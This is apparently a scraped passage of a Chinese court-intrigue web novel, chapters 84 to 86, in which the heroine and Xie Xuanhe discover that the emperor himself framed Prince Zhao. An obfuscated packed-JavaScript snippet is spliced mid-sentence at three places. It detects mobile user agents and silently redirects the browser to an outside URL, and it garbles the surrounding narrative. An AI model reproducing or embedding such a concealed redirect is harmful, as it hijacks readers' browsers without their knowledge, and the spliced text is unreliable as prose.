她话落,空气继续凝滞了几息,接着工部尚书夫人蒋氏开口接话:“是啊,从他被伏法以来,扯出不少冤家错案,听闻那向太子殿下揭露他私铸兵器的奴隶竟是前任军器监之子。” 祭酒夫人李氏随即附和:“岂止于此,前些时日坊间皆在热议,说那话本《陈冤录》中的严会之写的便是他,民众还由此推断出书里的明王便是去年因谋逆罪被诛杀的昭王,如今更是传言昭王实际上是被梁甫构陷的,也不知这背后究竟藏着多少隐情。” 话闸一开,议论便如洪水决堤,倾泻而出,像奸相造反被抓这等八卦谁不在意,之前不提不过是顾忌着身份罢了。 如今还能出来走动的,自然都是从前与梁党不合的,既然有人挑起话头,也便畅所欲言起来。 黎书意也一扫之前的委顿,顿时来了精神,喝了一口茶,就像其他姑娘一样,她做着兴致缺缺的样子,实际上一颗心都在长辈们的谈话上。 崇宁郡主适时插话说:“听荣昌说,皇叔这几日正为这桩公案烦恼,诸多朝臣纷纷上书,恳请重审昭王旧案。” 有位夫人好奇心起,轻声探问:“那昭王可是当真蒙冤受屈?” 此话一出,房间里顿时鸦雀无声,没一人敢回答,毕竟一切都未有定论。 尽管大家的态度迟疑不定,黎书意却无半分气馁,她心里正为诉求已经上达天听而感到高兴,关于是否被冤枉的问题,只要等重审了,便可证明清白。 直至太阳西沉,这场宴会才结束,散场以后黎书意与林静仪、姜伯母同行。 刚走没两步,常氏走了过来,殷勤地对黎书意道:“若是在家中无聊,可上府里去坐坐。” “谢夫人的好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545742|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意,有机会我会去的。”黎书意说着违心的客套话。 常氏满意地点点头,然后领着侍女走了。 送走了这尊神,黎书意疲累地叹了一口气。 “哼,算盘珠都打脸上了。”姜伯母面露鄙夷,接着回头对她说,“不过你也该考虑婚事,我会帮你看着些的。” 黎书意闻言面色一滞,未曾想还是逃不开,林静仪看着她,在一旁偷笑。 姜伯母和刚才那些人不同,她是真的关心自己,不能敷衍了事,只是她都答应了要考虑谢烜赫的情感了,断不能吃着碗里的看着锅里的,然而现在这情况如今没法言明,最后便只能道:“有劳伯母挂心。” 三人继续朝前走,忽然姜伯母感慨了一句:“能重审昭王案也好,将军府这一年过得够憋屈了。” 是啊……她在心里附和。 到王府门外,黎书意别过母女二人,然后上了马车。 一个时辰后,马车停在将军府侧门,下车进门之时黎书意询问守门侍卫可曾看见时侍卫,守门侍卫答说并未见到。 她听后皱眉,心里有些失落,她迫切地想知道梁甫得知真相的反应,只能再等等了,抱着遗憾她回到了载驰院。 一进院落,她径直去了书房,想着可以在等待的间隙里把最近发生的事写进《陈冤录》里。 灯烛散发着温暖而柔和的光芒,室内安谧,只余下笔尖轻触纸张的沙沙声,将叛党入皇城这段故事写完,黎书意将狼毫放到笔搁上。 接着,她侧头往窗外看去,见天色黑沉如浓墨,无半点星子,便问兰亭:“什么时辰了?” “亥时二刻。” 已经这么迟了?是谢烜赫还未回来,还是见她在忙就没来打扰,担心错过,她忙追问:“他可曾来过?” 兰亭摇头道:“不曾。” 闻言,黎书意心生疑惑,不过是去天牢看看,应该花不了多少时间,难不成是这中间发生了什么变故? 想到这个可能,她不由忐忑起来,于是急忙从书案边起身,对兰亭说了句“我去后院看看”,然后便快步走了。 夜色浓重,星月被飘来的厚云遮盖,院中树叶摇曳,沙沙作响,朦胧昏黄的灯光从一间间房舍里透出,然而属于谢烜赫的那一间房却是漆黑一片。 见此情形,黎书意心中的不安不禁加重了几分,踟躇片刻,她最终踏上台阶,朝门口而去,想着不如坐在屋子里等人好了。 “吱呀”一声,她推开了房门,清冷的月色从门外流入,照亮了房中大半景物,是以,她一眼就看到了坐榻上的身影,尽管因为融在黑暗里,只徒显出一个轮廓,但她知道那就是谢烜赫。 已经回来了吗,那为何没找她,是真的出事了?她心头疑问一个接一个,犹豫再三,她最后还是抬起右脚,迈步跨进了门槛。 她一步一步来到榻前,此时,她的双眼已经稍微适应了黑暗,景物越渐清晰,她没有马上开口说话,而是沉默地看着榻上的少年。 谢烜赫两只眼睛空洞无神,面上无一丝一毫的表情,仿佛灵魂被掏空一般,认识了这么久,她从未见过他这般了无生气的模样。 惊愣过后,她试探着问:“是发生什么事了吗?” 84. 泡影 面前那双凝滞不动的眼睛闻声终于开始移动,最后向黎书意看来,目光凄然。 望着面带担忧焦急的少女,谢烜赫在心里思索着该如何回答她的问题。 是告诉她,他们根本就找错了仇人?那是何等令人惊骇的消息啊,连他都受不住,她又怎么可能受得住呢…… 还是隐瞒真相?可是哪里瞒得过去,毕竟未来一切自会见分晓的。 在告诉还是隐瞒两个选择里权衡良久,他滑动了一下喉头,看着还在等待他回答的少女,告诉了那个他消化了一整个下午,却仍然无法接受的结果:“不是梁甫。” 什么?黎书意皱眉,不解其意。 正欲开口询问,脑袋里蓦地电光一闪,明白了谢烜赫这话的意思,不禁瞪目结舌,压根不敢相信自己的耳朵。 怎么可能呢,明明所有的线索都指向梁甫,怎么可能会不是他呢,她的思维缠成一团乱麻,根本理不清楚。 实在思索不出,她追问道:“那是谁?” 话一出口,见谢烜赫沉默了。 这个反应告诉她,他是知道真相了的,只是这个名字令他难以启齿,那么她便只好自己猜测。 能够驱使梁甫,并且让谢烜赫崩溃的人,符合这两个条件的人范围并不大,没用太久,她便确定了嫌疑人选。 身体猛然一顿,她不可置信地直视着谢烜赫的眼睛,这个名字她同样难以启齿。 “怎么可能呢,他们可是兄弟啊!”她骇然道,声音因为颤抖变了调。 黎书意陷入到绝望当中,前景霎时间化为泡影,他们一心想着扳倒梁甫,找到诬陷的证据,然后向皇帝平反,却原来,那个他们寄托于主持公道的人就是罪魁祸首,多么荒唐。 努力了这么久,却是做了无用功,不,不是无用功,根本就是催命符。 如今皇帝已经收到了为昭王平反的折子,也知道了民间的舆论,要查到他们身上并不困难。 将军府本就岌岌可危,再加上制造舆论和窝藏谢烜赫,那个人更加不会放过他们了。 寒意从脚底蔓延至心里,黎书意双腿一时脱力,身体不受控制地向下滑去,在即将摔倒之际,是谢烜赫眼疾手快起身扶住了她。 谢烜赫托住黎书意的双肩,看着面前陷入绝望的脸,他既心疼又愧疚,就在不久前,他还自信地以为不日就要恢复身份了,因此提前向她表明了心意。 “对不起,是我太过自负,我不该把将军府牵涉进来的。” 道歉的话如一缕轻烟飘进耳中,黎书意的心神从迷惘中回归现实,她仰头与面前的少年对视,见他眼中是深深的痛处与无尽的自责。 “不,”她摇了摇头,“你不必道歉,错的根本就不是你,就算父亲不帮忙,将军府恐怕也安生不了几日。” 皇帝既然能不顾念亲情,不惜用肮脏的手段构陷一个早就退出权力中心的王爷,又怎会容忍一个手握军权,受万民爱戴的大将军呢。 这一次是他们输了,输在对皇帝还有所期待。 两人没有再说话,就这么静静地站着,他们身体相贴,借着对方的气力支撑着自己,就如同一座雕塑,僵硬,了无生气。 过了很久,仿佛有一百年那么长,谢烜赫终于打破沉默道:“很晚了,我送你回去休息吧。” 因长久不说话,他的声音带上了沙哑。 “好。”黎书意应道,声音同样干涩。 说完,她动了动身子,一股麻意在四肢里迅速蔓延,像是有无数小虫在啃咬,她不由踉跄了一下,谢烜赫将她扶住,然后带着她出了房门。 路上,他们静默无言,到了载驰院正房门口,谢烜赫站定,对她说了句“好好休息”后便转身离开了。 望着那道颀长的背影逐渐远离,最后彻底融进了夜色里,黎书意终于转头进屋子去了。 眼下的她整个人浑浑噩噩的,由着兰亭服侍洗漱完,她躺上床了,看着帐帘在眼前落下,灯盏被熄灭,视野的一切变得昏暗。 另一边,将黎书意送回房间,折回后院以后,谢烜赫便坐回到榻上,继续在黑暗里默想。 就像是在大雾天行走,他顺着有光的地方摸索着前行,走到最后却发现前面居然是万丈悬崖,眼下他已不敢再轻易迈步了。 其实,事发之初他就动过是皇帝所为的念头,却并未深究下去,当线索明确指向李振益的时候,他便轻易转移了怀疑目标。 毕竟若真凶真的是皇帝,他根本无从复仇平反,况且无论真凶是谁,查清诬陷始末、还原真相才是首要之事。 而随着探查的推进,越来越多的信息落在梁甫身上之后,他心底的那点疑虑渐渐消散,配合着舆论的需求,行事变得大胆起来,最终尝到了自负的后果。 现在真相已经了解得差不多了,真凶的身份也已经确定,却与他最不愿意看到的情况相合,他的复仇计划就此陷入了泥沼。 刚才,他并未向黎书意隐瞒幕后主使是皇帝,不过也有一件事没有告她,那便是回来以前他还偷偷潜进了皇宫。 虽说皇宫守卫森严,形似铁桶,但对于一个时常进出皇宫的宗室子弟来说,他了解其中的布局和换防,知道可以利用哪些犄角旮旯潜入。 穿过一道道宫门,踏过一条条幽径,避过巡逻的侍卫,他悄无声息地到了皇帝的寝宫,然后在偏殿的丹房里找见了目标。 殿中烛光摇曳,昏黄一片,四下里摆着各式各样的修炼器具,中央青铜丹炉里白烟滚滚,他的皇叔穿一袭宽大的道袍,正坐在丹炉前的蒲团上闭眼打坐。 身为一国之君,不励精图治,与民谋福祉,反而为了永远占据权利巅峰,不惜残害手足,还沉迷于虚无缥缈的长生之术,想到这些,他胸膛里翻滚起强烈的恨意。 他将右手放到剑柄上,再慢慢握紧,双眸死盯着一无所察的人,脑袋里有一个声音不断叫嚣着,对他说,只要抽出剑,再那么一刺,他的仇就算报了。 维持姿势站了许久,最终他松开了手,没有拔剑。 纵使眼前这人昏聩无能,可说到底他毕竟还是一国之君,骤然死去,必定会引起朝局动荡,到时只怕是民不聊生。 即便谢煜然能力出众,但他年纪尚轻,根基不稳,难以震慑权臣和豪强。而自己呢,若他想自立为王,也需要兵力、粮食、武器等的支持,如今这些他还不具备。 尽管心有不甘,他只能暂时压下心中仇恨,转身无声无息地走了。 …… 大夜弥天,万物沉睡,载驰院正房里漆黑一片。这一夜,那个重复了上百次的噩梦时隔一年又重新找上了黎书意。 夜色浓重,雷雨交加,背后是穷追不舍的追兵,前面的树林迷雾重重,她身体脱力,无处可逃。 只是这一次没有坠崖,更没有在崖下看到尸体,梦境变成了她和谢烜赫手拉着手在密林里奔逃,然而不管他们怎么跑,追兵们总能迅速赶上。 最后,他们无路可退,被乱箭射死。 锥心的痛感从胸口爆发开来,黎书意尖叫着醒来。 兰亭抬着脸盆推门而入,听见里间传来的尖叫声,她匆忙把脸盆放到盆架上,然后快步走到床前。 将帐幔拉起并挂好,她担忧地望着床上的人,轻声问:“二姑娘,您做噩梦了?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545743|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她家二姑娘面容本就生得白皙,此时一张脸几乎惨白如纸,额头上布满了细密的汗珠,连两鬓的碎发都被打湿了。 到底是梦见什么了? 黎书意坐在床上,胸口剧烈地起伏着,心脏和四肢百骸都在泛疼,那被乱箭射死的骇人场景在脑海里挥之不去,她闭了闭眼,抬手拉开了被子。 看二姑娘要下床,兰亭忙躬身将她搀起,把人带到了盆架跟前。 在她拿帕子时,二姑娘自己低下头用双手捧起一捧热水,然后胡乱地往脸上抹了一把。 她待要递帕子,二姑娘已经直起身子来,顶着沾满水珠的脸转身就走。 见状,她喊道:“二姑娘,您还未擦脸呢?” 说毕,径自沾湿帕子再拧干,替二姑娘将脸上的水珠擦干净。 待洗了脸,两人往镜台走去,兰亭替二姑娘梳发时,整个过程中二姑娘都很安静,不似往常那样,会和她讨论梳什么发髻,戴什么头饰。 妆发弄完,院里的丫头进来送早膳,走路布菜的声音搅动了房间压抑沉静的空气。 将妆台归置好,兰亭看着那道起身离开的背影,面上写满了担忧,二姑娘昨夜回来时就是这副模样了,替她沐浴洗漱时她眼神呆滞,一句闲话也没有。 叹了口气,兰亭走到盆架前抬起脸盆往外走去,等她出门倒完水回来,见食案上的东西是一点没动。 “二姑娘,是今天的早膳不合口味吗?” “我没胃口,撤了吧。” 看了眼没被动过的饭食,再看一眼无精打采的二姑娘,兰亭到底还是动手收拾起来,总不能硬逼着二姑娘吃不成。 抬着东西出去,她边走边在心里琢磨二姑娘行为反常的原因,似乎昨夜二姑娘见了世子后就这样了,难不成是两人发生了不愉快? 记得上一回,她家二姑娘魂不守舍就是因为世子,当时她还担忧过,没成想隔两天就撞见两人抱在一起了。 这一回,该不会是同世子吵架了吧…… 可是昨夜二姑娘分明是世子送回屋的,由于当时世子站在廊下,又是黑夜,他的表情她看得不是很真切,因此并不好判断。 然而仔细想想又不像这么回事,二姑娘若是受了委屈断不会憋着,她是不会折磨自己的。 兰亭左思右想皆想不通,将早膳原封不动地放回小厨房,她带着疑问回去了。 进到屋里,见二姑娘呆坐在榻上,那双美丽的眸子平时秋波如流,此刻却像是一口荒废已久的枯井,那张俏丽的瓜子脸平时神态灵动,此刻却像是搪瓷娃娃,表情沉默且固定。 这样的二姑娘实在不常见,她只在昭王府出事,以及大将军和少将军被派西征时见过。 “咔嚓!”这个无意识的念头令她的眼睛蓦地一亮,她顺着这个思路往深处想。 昨夜,从赏梅宴回来之后,二姑娘就一直在等世子,似乎是有事要问,而且多半与谋划有关,见等不见人,她还自己去后院了。 那之前二姑娘心情很好,所以说,二姑娘根本不是因为和世子闹矛盾,而是谋划出事了。 说起来,今晨还未见过世子。 昨夜发生了何事兰亭不得而知,虽然她读书不多,懂的东西也十分有限,但是她知道将军府就是她的家,姚夫人拨她来照料二姑娘,她就必须照料好二姑娘,绝不能让二姑娘搞垮了自己的身子。 “二姑娘,早膳您便没吃,午膳想吃什么,我吩咐厨房准备。” “我不想吃。” 得到的回答在意料之中,她听后继续劝道:“二姑娘,无论发生了什么,请先想一想大将军和少将军?” 85. 构陷 御书房。 景帝瞥一眼御案上摆着的奏折,它们之中有一半都是请求为昭王翻案的,刚刚在早朝上,林文正、右谏议大夫、宗正寺卿等朝中重臣也都提及此事。 谢嘉行,没想到他就连死了,也还有这么多人惦记,景帝双眼微眯,手不由攥紧,那股淡忘的恨意重又在心头蔓延开来。 他的四弟自小就受父皇疼爱,又聪颖好学,他知道父皇曾经动过废立的念头,若非迫于朝臣的压力,他不可能顺利登基,不过,笑到最后的人还是他。 倏地,他突然松开手,唇角勾起一抹笑来,心道,平反便平反吧,总归人已经没了,不过一个名头罢了,他也不是不能施舍。 接着,他想起了狱中的那个人,便侧头问:“赵让,梁甫何时处斩?” “二月一日。” 那没几天了,从御座上起身,景帝边走边感慨:“到底君臣二十几载,朕该去看他最后一眼。” …… 天牢,走廊幽暗曲折,两旁烛火摇曳不定,空气中弥漫着潮湿和霉味。 景帝极少来这,上一回还是当太子的时期,他皱着眉往深处走去。 “陛下,就是这了。”狱丞毕恭毕敬引着皇帝来到关押梁甫的监牢跟前,然后悄然退下。 景帝掀起眼皮向里看去,透过粗大的栏柱,他看见一个形容枯槁,衣服上血迹斑斑的中年男人。 死罪早已经定下,他没有吩咐用刑,但也没有刻意关照,天牢是一个腌臜地方,那些酷刑非常人能够忍受,他想到了,可如今亲眼看见,心底还是涌上一丝震撼。 听见动静,被铁链锁住的人无力地抬起头来,望见是他,那浑浊的眼里波澜不惊,没有恭敬,没有惊讶,没有惧怕,什么都没有。 心里升起不快,景帝压下情绪,居高临下地看着面前的人,冷声质问道:“惟中,你已经位极人臣了,为何还要行叛乱之事?” 梁甫知道皇帝一定会来看他,不过时间似乎比他预想的要早一些。 听到问话,他咯咯笑了两声,蠕动着两片皲裂的嘴唇,费力地说道:“太子记恨于我,您百年之后他必定会除掉我,然后对梁家动手,我得为自己的未来早做打算。” 景帝默然不语。 梁甫动了动身子,继续道:“听闻陛下决定重审昭王案。” 只见他话音方落,门外的人面色骤变,锋利如刀的视线射进来,凛声问:“你怎会知道?” 呵,梁甫在心底冷笑,伪装卸得可真快,不过他没有半分畏缩,只淡淡回道:“昭王素有贤明,人人皆言是我害的他,狱卒打我的时候说的。” “你想如何?”皇帝眼里寒芒闪动,声音充满警告。 “不如何。”梁甫语气平静,“臣自知罪孽深重,必死无疑。” 这句话安抚了门外之人,那张虚肿的脸神色顿松,再次戴上了虚伪的假面,望着他一脸沉痛地说:“你与朕到底君臣一场,一顿好的是有的,你且安心去吧。” 说罢,深深看他一眼,故意做出备受煎熬的眼神,然后“唰”一下转过身,头也不回地离开了。 梁甫微侧着头,两眼始终追随着逐渐远去的明黄色衣袍,世人指责他妒贤嫉能、迫害忠臣、铲除异己、贪赃枉法…… 可是他走到今天这地步,都有赖于皇帝的成全,他所做的恶事,十之八九是顺了皇帝心思的,然而最后它们却全算在了他的头上。 这就是当走狗的下场。 明黄色的衣角已经彻底消失不见,可他还死死地盯着狱道的最右方,良久他的脸上露出了恶意的笑容。 回想起方才自己提及昭王时,谢嘉言的反应像是被人拽住了狐狸尾巴,几乎要跳脚。 他当然不会再做什么,因为即便是做了,也更改不了他必死的结局。 不过,他可以选择不做什么,比如说不告诉皇帝谢烜赫还活着,并且已经知道了真相的事,叔侄相杀,该是多么美妙的一出戏啊…… 想着想着,他不禁笑出声来,他们一个卸磨杀驴,一个害他一无所有,不论哪一个败了,他都乐见其成,这便是他这条走狗最后的报复。 狱道蜿蜒,壁烛微光摇曳,景帝信步走着,来时闻到的那股难闻气味此时似乎也没那么让人难以忍受了,他的心中涌起一股难以言喻的轻松愉悦,不禁想起了旧事。 两年前的某天夜里,天上突然出现异象,一颗扫把星拖着长长的尾巴飞入北斗七星处,次日他询问司天台,得到的结果是恐非吉兆。 没两日,坊间传出流言,说北斗是君王的象征,彗星有除旧布新之意,这是更改君王的征兆。 差不多一月之后,又有太白金星在白天出现的奇怪天象,关于改朝换代的流言甚嚣尘上。 他大斥荒谬,可心里却惶惶不安,太白金星所在的位置是陵光,乃是谢嘉行的封地,这帝王指的是谁不言而喻。 从少年时代起,这个弟弟就是他的心病,这么多年时不时产生阵痛,因着许多原因,他一直没有动手,可是这次他真的忍不下去了。 次日,结束朝会之后他把梁甫召进御书房,询问他对近月两次奇异天象的看法,又问他是否听到了外界的传言。 梁甫一如既往小心地应和着,只说:“天象之变,自古难测,多为自然之象,不可妄加揣测附会凶吉,至于改朝换代的流言,更是无稽之谈……” 他一句话都未听进去,懒得再虚以委蛇,直截了当地下命令道:“朕要你想办法除了谢嘉行。” 梁甫在一阵短促的惊愣沉默后,恭敬地点头应下了。 隔了一个月,梁甫入宫向他汇报,说是已经将卧底安插进昭王府了,待他熟悉了个中事务,取得了昭王的信任,便可以展开行动了。 从那以后,梁甫不时会向他转达卧底送来的情报,它们和之前他安插在王府周围的密探传回的情报没什么两样,左右不过是些报告日常活动的信息。 纵情山水,结交名士,谁知道谢嘉行是单纯的同那些儒生品茶论道,赏画听琴,还是借机笼络人才,为自己谋反做准备呢。 这样过了好一段日子,终于传回点有价值的消息了,信上说查出那在乌金起义的暴民王宁曾经在陵光待过一段时日,而且王府开棚发放救济粮时还曾去过两回。 他听后当即大怒,第一反应便是谢嘉行果然有谋反之心,然而细问之下,却没发现二者有什么联系,他不知道该高兴还是该失望。 不过可以肯定的是,他想要谢嘉行消失的念头越发按耐不住了,想想距离决定动手的那日已经过去将近半年了,他抬起头不悦地问梁甫:“这么久了,你可想到了对策?” 梁甫闻言沉吟了一会,然后眉心微动,勾唇笑道:“陛下,或许我们可以利用这次巧合,让假的变成真的。” 他眼睛一闪,当即明白过来,不由也笑了,这的确是一个好主意,毕竟王宁出现在昭王府前是切实发生的真事。 “去做吧。”他微微颔首,让梁甫放手去做。 此后的一段时间,梁甫开始布局,秘密制造昭王谋反的罪证。 景帝并未完全放任,出于制衡梁甫壮大和培植亲信的考量,他动用了一名未暴露身份的卧底,一面监视梁甫手下的动向,一面慢慢夺过行动主导权。 如此等候了二十天左右,他收到了一封从陵光传来的密信,那名他安插的卧底,也就是昭王府大农李振益实名检举昭王与王宁有勾结。 信上陈说那起义军头目王宁实际上是昭王的部下,他鼓动流民揭竿造反是为了补充兵力,此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545744|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前王宁便曾借着领救济粮与昭王传递情报,他们亦有书信往来,并且昭王的别苑之中藏有大量军甲,其意图谋反之心昭然若揭,就等着起义军势大以后打出旗号。 看到信的那一刻,景帝便知道事情办成了,当夜,他假模假样紧急召集朝中肱骨大臣入宫商议,除了梁甫以外,还另有两名纯臣,一个是左散骑常侍邓复,一个是御史大夫林文正。 等人到齐,他把密函递给他们过目,然后询问他们的看法。 身为实施构陷计划的人,梁甫自然是顺他的意提议道:“陛下,此事非同小可,昭王既有意谋反,便应早早采取行动,防患于未然,若等起义军继续壮大,恐生变故,届时局面将难以收拾。” 而邓复则不赞同,他上前一步,拱手说道:“陛下,此事兹事体大,不可轻信一面之词,这密信所言虽令人心惊,但在未确定其真实性之前,切不可贸然行动。” 林文正附言:“是啊,陛下,若仅凭一封密信便对昭王动手,恐会引起不必要的动荡,且若消息不实,也会寒了众臣之心。当务之急,应先派遣可靠之人暗中调查,待确定事情的真伪之后,再行定夺采取何种行动。” 听了后两人的话,他心中顿时升起不悦,可转念一想,定罪的证据定然早都准备好了,根本无需担忧真假,再说,他之所以叫这两人过来,不就是为了表现出公平公正的态度吗? 于是他虚心“纳谏”了,传信给陵光的监察御史韩俊和折冲都尉吕昇,让他们先去探查昭王意图谋反是否为真,若真,便即刻抓捕,若人手不够,可让在乌金平叛的庞安澈支援。 不曾想吕昇送了他一个惊喜,他原本只是想坐实谢嘉行的谋反罪名,之后再行决断,奈何这厮好大喜功,脾气火暴,上府搜查时嚣张跋扈,令昭王府的人不堪忍受,最后两边便打开了,于是昭王府的人因抗旨被下杀手,他的弟弟和弟妹便在拼杀途中双双死去。 就这样,他多年的心病去除了。 镇压反叛结束后,李振益因检举有功,从一名小吏一跃成为社郡郡守,算是填补了朝廷关键官职的空缺。 景帝原本打算继续培养的,未曾想这李振益是个贪得无厌之辈,仗着家族的余势,一直在做搜刮民脂民膏的事,升官后更是大肆敛财,最终被林文正给揪了出来。 社郡出事以后,景帝没想过保他,左右借他之手铲除昭王的目的已经达到,一颗坏棋死了也就死了。 而关于自己是昭王案的幕后主使这一点,景帝料定了李振益不敢透露半分,果然没多久,监狱传出了他自尽的消息。 景帝虽然有些在意那对不上账目的钱财,但也就挂心了几天,很快这事被其他的烦忧给取代,便彻底抛之脑后了,他从未想过这事与梁甫有联系。 直至梁甫谋反叛逃,朝廷彻查他的时候,景帝才恍然明白过来,原来李振益早就变节,不知何时起开始替梁甫办事,而那中饱私囊的钱竟然是用来豢养梁家私兵的。 得知真相的那一刻,景帝怒不可遏,恨不能将梁甫碎尸万段。 阴暗曲折的路已经走到尽头,入口处阳光倾泻而入,景帝出了天牢大门,从容地走下台阶。 赵让站在马车旁等候多时,见皇帝来了,他行了一礼,然后急忙摆好墩子,拉开了车帘。 景帝躬身踏上了马车,他安适地在车厢坐下,接着微侧过头抬眼向外看去,天牢入口处,黑铁铸就的铁门大而厚重,石块垒砌而成的墙体高大斑驳,满目压抑沉闷。 帘子在眼前慢慢落下,马车缓缓动起来,那负责动手和检举的李振益已经自食恶果。 现在,这条跟在他身边多年,替他策划了构陷案,看似忠心耿耿,实则心怀鬼胎的走狗即将迎来他的死期,以后再没有外人知道他构陷弑弟的行为。 86. 准备 天光大亮,阳光透过窗纸洒在谢烜赫身上,带来了一丝暖意,他缓慢地睁开眼睛,终于挪动身子,从坐榻上起来。 现在不是他该失魂落魄的时候,虽然尚不清楚未来在哪里,但是至少不能再暴露自己了。 洗漱毕,换上一身低调的黑衣,他离开了房间。 走到二门,他停下脚步往右边看过去,踟躇片刻,最终还是收回了视线,没抬步朝载驰院走,他还没想好要如何面对黎书意。 扭回头,他继续向前走,独自一人出了将军府的大门,去街市上了。 人刚到印刷铺后院,纯钧快步朝他走来,行礼毕,低声询问道:“主子,下一步有何指示?” 谢烜赫抿着唇,半晌后,略显艰涩地开口:“让外面的人停止散布消息。” “为何?”纯钧面露不解。 为何?这个问题再一次提醒了谢烜赫的自负。 他看向面前的人,纯钧自小就陪在他身边,对他绝无二心,是以他不打算隐瞒,遂直言道:“真凶是那位。” 纯钧闻言瞳孔剧烈地一震,良久,又似乎是有所预料一般,他压抑着情绪冷冷道:“果真是他。” 话落,他忽而想到了另一层,既然构陷王爷的人是当今天子,那么他们不仅无法证明王爷的清白,主人也将陷入危险,于是关心地问:“主人可想好了日后的打算?” 谢烜赫陷入了沉默,这一年,为了复仇他殚精竭虑,筹谋良多,哪知最后竟然是错认了仇人,如今即便是要重新复仇,也非一朝一夕就能想到良策的,况且他的敌人还是权力至高无上的皇帝。 过了许久,他终于启唇说道:“你先按我说的办,控制舆论的扩散,尽量抹除痕迹。” “是。”纯钧听令,嗫嚅了一下,又忧虑地叹息道,“只怕是没什么作用,毕竟早就传开了。” 这谢烜赫自然知道,已经发生的他控制不了,目前只希望不要再增加继续暴露的风险。 气氛凝重,房内一时陷入了沉默。 片刻后,纯钧从怀里掏出信件,“对了,这是昨天从麒越传来的信件。” 谢烜赫接过信,明明纸张轻如鸿毛,他却觉得重于泰山,压得他几乎喘不过气来。 黎世伯、黎长策,还有黎书意,他们为他冒了多大的风险,如今不仅不能摒除猜疑,反而还会加深皇帝对将军府的忌惮,他心中有愧。 捏紧了信封,他想,既然复仇的事暂时无法完成,那么他便先护好将军府,他绝不能让这三个除了他父母以外,对他最重要的人遭受到一丝一毫的伤害。 带着这样的心情,他离开了印刷铺,回到了将军府。 载驰院内,丫鬟婆子们动作麻利地摆上食案,案上菜肴荤素搭配得当,色泽清爽,极提食欲。 黎书意走到食案边坐下,兰亭说得不错,她不能消沉下去,她得好好吃饭,好好睡觉,不让父兄担心。 想起父兄,她心中不免又牵扯出别的愁丝,她是否该告诉他们真相,如果要告诉,是现在说呢,还是等人回来了再说?她心里当真是一点主意都没有了。 如同走失在未知的迷雾森林里,昨夜她费了一夜工夫,还是没能理出一个头绪来,最后便只能放弃,想着还是等会同谢烜赫商量过了,然后再做决定。 也不知道他那边的情况如何了?残害父母的仇人竟然是流着同样血液的亲人,这多么令人难以承受。 昨晚,她陷在自己的情绪里,对他的安慰不够,等下见面的时候该好好开解一番。 事情想完,她长舒了一口气,接过兰亭递来的筷子,还是先吃饭吧,养足了精神才好干事。 抬起瓷碗,她夹了一块鸡肉放进嘴里,细嚼慢咽吃起来。 刚吃没两口,见门外走来一人,来的正是谢烜赫,待他走至门口,黎书意站起身来道:“你应该还没吃饭吧,一起?” 说这话时,她偷眼观察着谢烜赫的神色,见他目光沉寂,双唇紧抿,面容虽然比平时冷了一分,但是并没有自己以为的那般糟糕,看样子他已经调节好了。 谢烜赫并未客气推脱,直接在对面落座了。 见世子坐下了,兰亭快速盛好一碗饭递过去。 谢烜赫伸手接过,然后对她道:“麻烦你去外面守着,我和你家二姑娘有事要说。” “是。”兰亭应声,往外走时,她心里悄悄松了一口气,照二姑娘的反应来看,事情估计不小,她原以为最近一段时间家中气氛会很低迷,没想到两人调节得如此快。 走到门外,她将门掩好,然后背身站着。 “有什么重要的事吗?”见谢烜赫如此大张旗鼓,黎书意出声询问。 谢烜赫没说话,直接将信递出。 看到信,黎书意立马接过,并急不可耐地拆开,此刻她格外需要一些支撑。 信上,父亲说嵇弋已经完全归顺了,目前正在协同整顿当中,大约再过半月他们便可以回家了,信的末尾他为不能亲眼看着梁甫斩首示众表示遗憾,同时又庆幸可以见证昭王翻案。 看到最后几句话,黎书意的鼻子蓦地一酸,忍不住红了眼眶,他们的期望显然要落空了。 阅毕,她把信纸往旁边一递。 等谢烜赫看完了,她投去求助的眼神,望着他问:“我该怎么办,要不要现在把真相告诉他们?” 看着迷茫发红的双眸,谢烜赫心里一阵难受,随即他回答道:“现在就告诉。” 回来的路上他已经细想过了,一旦彻查昭王案,旋风一样的市井言论和《陈冤录》恐怕都逃不过皇帝的眼睛,查到将军府只是时间问题,而这期限估计要不了十日,因此留给他们的准备时间不多了。 这几天他们准备得越充分,等皇帝得知真相采取措施时,他们才有足够的底气应对。 这一番说辞成功说服了黎书意。 快速吃完饭,他们去了隔壁书房,进书房前照常让兰亭在门外把守。 一走到书案前,谢烜赫便开始研墨,黎书意则拉开椅子坐下,她待要拿纸却被谢烜赫制止了,紧接着见他从怀里掏出一张米黄色纸张,铺平放在案上。 “这纸有何特殊?”她好奇地问。 谢烜赫答:“写上既可消除,用火烤方可显现。” 如今即便用的是自己的情报渠道,也得二十万分的小心。 